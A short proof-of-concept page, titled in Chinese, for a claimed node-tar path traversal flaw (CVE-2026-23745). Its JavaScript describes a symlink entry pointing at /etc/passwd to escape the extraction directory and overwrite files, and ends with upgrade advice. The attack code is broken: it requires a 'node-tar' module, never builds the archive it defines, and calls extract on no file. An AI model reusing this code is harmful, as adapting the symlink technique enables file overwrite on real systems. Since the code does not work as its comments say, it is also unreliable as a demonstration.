CVE-2026-23745 node-tar路径遍历导致符号链接投毒和任意文件覆盖

const tar = require('node-tar'); const fs = require('fs'); const path = require('path'); // PoC for CVE-2026-23745: Path Traversal via symlink poisoning // Create a malicious tar archive that exploits the vulnerability // Step 1: Create a symbolic link entry with absolute path const maliciousLinkPath = '/etc/passwd'; const symlinkTarget = '../etc/passwd'; // Step 2: Demonstrate the vulnerable extraction async function exploitVulnerability() { // Create extraction directory const extractDir = './vulnerable_extract'; if (!fs.existsSync(extractDir)) { fs.mkdirSync(extractDir, { recursive: true }); } // This demonstrates the vulnerability - linkpath not sanitized // In vulnerable version (<=7.5.2), absolute paths in symlinks bypass root restriction try { // Create a tar with malicious symlink entry // The linkpath should be sanitized but isn't in vulnerable versions const maliciousArchive = { name: 'malicious.txt', linkname: '/etc/passwd', // Absolute path - should be blocked type: 'symlink' // or 'link' for hardlink attack }; // Extract using vulnerable code path await tar.extract({ cwd: extractDir, preservePaths: false, // Default secure option onReadEntry: (entry) => { // entry.linkname is not properly sanitized in vulnerable versions console.log('Entry linkname:', entry.linkname); } }); } catch (err) { console.error('Error:', err.message); } } // Mitigation: Upgrade to node-tar >= 7.5.3 console.log('Vulnerable versions: node-tar <= 7.5.2'); console.log('Fixed version: node-tar >= 7.5.3');